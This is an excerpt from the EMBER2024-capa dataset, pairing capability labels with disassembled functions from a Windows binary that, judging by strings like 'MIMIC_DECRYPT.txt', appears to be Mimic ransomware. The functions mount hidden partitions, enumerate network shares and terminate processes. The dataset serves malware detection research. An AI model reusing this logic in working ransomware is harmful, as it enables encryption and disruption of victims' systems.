joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454b00
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x559dd0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push str.SYSTEMDRIVE
mov dword [ebp - 4], 0
call fcn.00539ff5
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x454b60
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044a140
push 5
push 0x5bda1c
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.004517b0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push 0x5bda28
lea ecx, [ebp - 0x28]
call fcn.004517b0
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x28]
push eax
call fcn.004517b0
lea eax, [ebp - 0x28]
mov ecx, 0x5cab5c
push dword [ebp - 0x18]
test esi, esi
je 0x454bda
mov ecx, 0x5cab74
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0044a140
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x454c1e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454c14
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c83
push edx
push ecx
call fcn.00518414
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x454c68
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454c5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c88
push edx
push ecx
call fcn.00518414
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
call fcn.00533a91
call fcn.00533a91
int3
Function at 0x454d40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00518940
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov ecx, 1
mov edx, 0x5d0a84
mov eax, 0x3e7
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x454e16
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.USER32.dll_wvsprintfW]
mov esi, eax
test esi, esi
jle 0x454e16
push 0x5d0a6c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x5d0a68]
test cl, 2
je 0x454ded
mov edx, dword [0x5cab58]
cmp edx, 0xffffffff
je 0x454ded
push 0
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + esi]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x100c]
push eax
push edx
call esi
push 0
lea eax, [ebp - 0x1010]
push eax
push 4
push 0x5bdab0
push dword [0x5cab58]
call esi
mov ecx, dword [0x5d0a68]
test cl, 1
je 0x454e0b
lea edx, [ebp - 0x100c]
mov ecx, 0x5cf208
call fcn.00457400
push eax
call fcn.004576c0
add esp, 4
push 0x5d0a6c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x458ed0
Capabilities:
Enumerate disk volumes
Get disk information
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2f4
mov eax, dword [0x5c9ea4]
xor eax, esp
mov dword [esp + 0x2f0], eax
push ebx
push esi
push edi
push str.___Loading_hidden_partitions
call fcn.00459870
xor edi, edi
mov dword [esp + 0x1c], 0x5bde44
add esp, 4
mov dword [esp + 0x1c], 0x5bde4c
mov dword [esp + 0x20], 0x5bde54
xor esi, esi
mov dword [esp + 0x24], 0x5bde5c
mov dword [esp + 0x28], 0x5bde64
mov dword [esp + 0x2c], 0x5bde6c
mov dword [esp + 0x30], 0x5bde74
mov dword [esp + 0x34], 0x5bde7c
mov dword [esp + 0x38], 0x5bde84
mov dword [esp + 0x3c], 0x5bde8c
mov dword [esp + 0x40], 0x5bde94
mov dword [esp + 0x44], 0x5bde9c
mov dword [esp + 0x48], 0x5bdea4
mov dword [esp + 0x4c], 0x5bdeac
mov dword [esp + 0x50], 0x5bdeb4
mov dword [esp + 0x54], 0x5bdebc
mov dword [esp + 0x58], 0x5bdec4
mov dword [esp + 0x5c], 0x5bdecc
mov dword [esp + 0x60], 0x5bded4
mov dword [esp + 0x64], 0x5bdedc
mov dword [esp + 0x68], 0x5bdee4
mov dword [esp + 0x6c], 0x5bdeec
mov dword [esp + 0x70], 0x5bdef4
mov dword [esp + 0x74], 0x5bdefc
mov dword [esp + 0x78], 0x5bdf04
mov dword [esp + 0x7c], 0x5bdf0c
mov dword [esp + 0xec], edi
mov ebx, dword [esp + esi*4 + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x458fed
mov dword [esp + edi*4 + 0x80], ebx
inc edi
inc esi
cmp esi, 0x1a
jl 0x458fd5
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor eax, eax
mov word [esp + 0xf0], ax
push 0x10040
push 8
push dword [0x5d0aa8]
call esi
mov ebx, eax
test ebx, ebx
je 0x459003
nop dword [eax + eax]
push 0x10040
push 8
push dword [0x5d0aa8]
call esi
mov dword [esp + 0x14], eax
test eax, eax
je 0x459020
push 0x8000
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [esp + 0x10], eax
mov esi, eax
nop dword [eax]
test edi, edi
je 0x4590e5
lea eax, [esp + 0xec]
push eax
push 0x78
lea eax, [esp + 0xf8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x459094
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x459094
xor eax, eax
mov word [esp + 0xf0], ax
jmp 0x4590d0
mov esi, dword [esp + edi*4 + 0x7c]
dec edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x4590b6
push ebx
push esi
push str.___Mounted_partition:__s_____s
call fcn.00459870
add esp, 0xc
jmp 0x4590cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push esi
push str.____Failed_to_mount_partition:__s_____s__Code__lu
call fcn.00459870
add esp, 0x10
mov esi, dword [esp + 0x10]
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x459050
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x5d0aa8]
call esi
push ebx
push 0
push dword [0x5d0aa8]
call esi
mov ecx, dword [esp + 0x2fc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x4596b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55a238
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [0x5d0a88]
push 0x5d0a8c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x5d0a8c
mov dword [0x5d0a88], 0xffffffff
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x5d0a88]
test al, 2
je 0x45982a
test bl, 2
jne 0x45982a
push str.SYSTEMDRIVE
call fcn.00539ff5
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x28], ax
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x459740
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044a140
push 5
push 0x5bda1c
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.004517b0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x12
push str.MIMIC_DECRYPT.txt
lea ecx, [ebp - 0x28]
call fcn.004517b0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push bind
push 4
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
xorps xmm0, xmm0
mov dword [0x5cab8c], eax
movq qword [ebp - 0x30], xmm0
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x459811
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x459807
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x459866
push edx
push ecx
call fcn.00518414
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov eax, dword [0x5d0a88]
mov dword [ebp - 0x14], 7
mov ecx, 0x5d0aa4
test eax, eax
jne 0x459837
xchg dword [ecx], eax
jmp 0x45984b
mov eax, 1
xchg dword [ecx], eax
push str.___Logging_ON
call fcn.00459870
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
call fcn.00533a91
int3
Function at 0x459870
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1060
call fcn.00518940
mov eax, dword [0x5c9ea4]
xor eax, esp
mov dword [esp + 0x105c], eax
push esi
push edi
mov ecx, 1
mov edx, 0x5d0aa4
mov eax, 0x3e7
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x459a38
mov eax, dword [ebp + 8]
lea edi, [esp + 0x60]
test eax, eax
mov ecx, 0x5bd85c
cmovne ecx, eax
lea eax, [ebp + 0xc]
push eax
xor esi, esi
mov eax, edi
push esi
push ecx
push 0x7ff
push eax
call fcn.00453670
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.00539cad
or ecx, 0xffffffff
add esp, 0x1c
test eax, eax
cmovs eax, ecx
test eax, eax
js 0x4598f9
cmp eax, 0x7ff
ja 0x4598f9
jne 0x45990d
jmp 0x4598fe
mov esi, 0x8007007a
xor eax, eax
mov word [esp + 0x105e], ax
mov eax, 0x7ff
lea eax, [esp + eax*2 + 0x60]
test esi, esi
jns 0x459935
push 0x1000
lea eax, [esp + 0x64]
push 0
push eax
call fcn.0052fbd0
add esp, 0xc
lea eax, [esp + 0x60]
cmp esi, 0x8007007a
jne 0x459937
mov edi, eax
lea eax, [esp + 0x60]
sub edi, eax
and edi, 0xfffffffe
test edi, edi
jle 0x459a38
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [esp + 0x1c]
push eax
movzx eax, word [esp + 0x1e]
push eax
movzx eax, word [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push str.__02d:_02d:_02d_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov esi, eax
push 0x5d0a8c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test esi, esi
je 0x459a2d
mov ecx, dword [0x5d0a88]
test cl, 2
je 0x4599ed
mov edx, dword [0x5cab8c]
cmp edx, 0xffffffff
je 0x4599ed
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [esi + esi]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [esp + 0x2c]
push eax
push edx
call esi
push 0
lea eax, [esp + 0x10]
push eax
push edi
lea eax, [esp + 0x6c]
push eax
push dword [0x5cab8c]
call esi
push 0
lea eax, [esp + 0x10]
push eax
push 4
push 0x5bdab0
push dword [0x5cab8c]
call esi
mov ecx, dword [0x5d0a88]
test cl, 1
je 0x459a2d
lea edx, [esp + 0x20]
mov ecx, 0x5cf208
call fcn.00457400
mov ecx, eax
call fcn.00459a50
lea edx, [esp + 0x60]
mov ecx, eax
call fcn.00457400
push eax
call fcn.004576c0
xor edx, edx
lea eax, [esp + 0x64]
add esp, 4
lea ecx, [edx + 7]
push eax
call fcn.00459640
add esp, 4
push 0x5d0a8c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x1064]
pop edi
pop esi
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x45b390
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x5c9ea4]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
lea eax, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
push eax
push ecx
push 0x13
push 0
push 2
mov dword [esp + 0x28], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x45b50e
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, 0x40
nop
push esi
push 8
push dword [0x5d0aa8]
call edi
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x45b3e0
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x45b4f5
xor edi, edi
cmp dword [esp + 0x28], edi
jbe 0x45b4d8
lea esi, [ebx + 0x14]
test byte [esi - 8], 2
je 0x45b434
lea ecx, [esi - 0x14]
call fcn.0045b390
jmp 0x45b4c6
push dword [esi]
push str.___Found_Share_Path:__s
call fcn.00459870
mov ebx, dword [esi]
add esp, 8
cmp dword [0x5d02c0], 0
je 0x45b483
push ebx
mov dword [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x24], ebx
lea eax, [eax*2 + 2]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0x4a
push dword [0x5d02c0]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ebx, dword [esi]
sub esp, 0x18
xor eax, eax
mov edx, esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov eax, ebx
lea ecx, [eax + 2]
mov dword [esp + 0x24], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45b4a4
sub eax, dword [esp + 0x24]
mov ecx, edx
sar eax, 1
push eax
push ebx
call fcn.0044a140
call fcn.0045e940
add esp, 0x18
inc edi
add esi, 0x20
cmp edi, dword [esp + 0x28]
jb 0x45b421
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x45b412
push ebx
push 0
push dword [0x5d0aa8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x18]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x45bda0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x5d0a5c], 0
push ebx
push esi
push edi
jne 0x45bdcf
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
push str.___CreateHostTable...
call fcn.00459870
mov eax, dword [0x5d0a58]
add esp, 4
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
xor bl, bl
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
nop dword [eax]
push 0x20
mov byte [ebp - 0x19], bl
call fcn.005183e4
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov eax, 0x14
mov ecx, esi
nop dword [eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x45be20
mov eax, dword [ebp - 0x1c]
push 1
push 0
push 0
push 6
push 1
mov dword [esi + 0x18], eax
push 2
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x45be5f
push 0x20
push esi
call fcn.00518414
add esp, 8
jmp 0x45bef0
mov ecx, 0x10
lea eax, [ebp - 0x14]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45be67
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x45bea1
push dword [esi + 0x14]
call edi
push 0x20
push esi
call fcn.00518414
add esp, 8
jmp 0x45bef0
push 0
push 2
push dword [0x5d0ac8]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x45be8f
mov esi, dword [0x5d0a48]
lea eax, [ebp - 0x18]
push eax
mov edi, dword [esi + 4]
push edi
push esi
call fcn.00459620
mov edx, dword [0x5d0a4c]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x45bf42
inc edx
mov dword [0x5d0a4c], edx
mov dword [esi + 4], eax
mov dword [edi], eax
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
inc bl
cmp bl, 0xff
jb 0x45be00
mov eax, dword [0x5d0a58]
push 0xc
mov edx, dword [eax]
push edx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
dec dword [0x5d0a5c]
call fcn.00518414
push 4
push dword [ebp - 0x20]
call fcn.00518414
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.005181d3
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.00515b6e
int3
Function at 0x45ce50
Capabilities:
Enumerate processes
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x454
mov eax, dword [0x5c9ea4]
xor eax, esp
mov dword [esp + 0x450], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x10], esi
test esi, esi
jne 0x45ceb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CreateToolhelp32Snapshot_failed._Code__lu
call fcn.00459870
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x450]
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x45cefc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Process32FirstW_failed._Code__lu
call fcn.00459870
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x450]
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x20]
push 0
push 0x100401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x45cf31
push dword [esp + 0x20]
push eax
push 0x101001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x45d04d
push 0x104
lea eax, [esp + 0x254]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
jne 0x45cf67
push 0x104
lea eax, [esp + 0x254]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x45d04a
push str._temp_
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x45cf99
push str.AppData_
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x45d04a
mov ecx, dword [0x5d0a60]
mov esi, dword [esp + 0x20]
mov eax, dword [ecx]
cmp eax, ecx
je 0x45cfc1
nop dword [eax]
mov edx, dword [eax + 8]
cmp esi, dword [edx]
je 0x45d046
mov eax, dword [eax]
cmp eax, ecx
jne 0x45cfb0
cmp esi, dword [esp + 0x14]
je 0x45d046
push esi
push 0
push 0x400
mov dword [esp + 0x254], 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x45d009
mov eax, dword [0x5d02c4]
test eax, eax
je 0x45d006
lea ecx, [esp + 0x24c]
push ecx
push 4
lea ecx, [esp + 0x250]
push ecx
push 0x1d
push esi
call eax
push esi
call ebx
cmp dword [esp + 0x248], 0
jne 0x45d046
lea eax, [esp + 0x250]
push eax
push str.___Kill:__s
call fcn.00459870
add esp, 8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call ebx
mov esi, dword [esp + 0x10]
jmp 0x45d04d
mov esi, dword [esp + 0x10]
push edi
call ebx
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x45cf02
push esi
call ebx
mov ecx, dword [esp + 0x45c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x45d080
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
mov dword [ebp - 0x244], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov dword [ebp - 0x240], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x23c], eax
test eax, eax
je 0x45d20b
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x238], 0x22c
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x45d1ff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
mov edi, dword [edi]
mov esi, dword [edi]
cmp esi, edi
je 0x45d1dc
cmp dword [esi + 0x1c], 8
lea eax, [esi + 8]
jb 0x45d0ff
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x214]
push eax
call ebx
test eax, eax
je 0x45d118
mov esi, dword [esi]
cmp esi, edi
jne 0x45d0f4
jmp 0x45d1dc
mov ecx, dword [0x5d0a60]
mov esi, dword [ebp - 0x230]
mov eax, dword [ecx]
cmp eax, ecx
je 0x45d141
nop word [eax + eax]
mov edx, dword [eax + 8]
cmp dword [edx], esi
je 0x45d1dc
mov eax, dword [eax]
cmp eax, ecx
jne 0x45d130
cmp esi, dword [ebp - 0x240]
je 0x45d1dc
push esi
push 0
push 0x400
mov dword [ebp - 8], 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x45d18b
mov eax, dword [0x5d02c4]
test eax, eax
je 0x45d180
lea ecx, [ebp - 0xc]
push ecx
push 4
lea ecx, [ebp - 8]
push ecx
push 0x1d
push esi
call eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
jmp 0x45d191
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0
jne 0x45d1dc
push dword [ebp - 0x230]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x45d1dc
lea eax, [ebp - 0x214]
push eax
push str.___Process:__s
call fcn.00459870
add esp, 8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call edi
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [ebp - 0x244]
test eax, eax
jne 0x45d0e8
pop esi
pop ebx
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.005181d3
mov esp, ebp
pop ebp
ret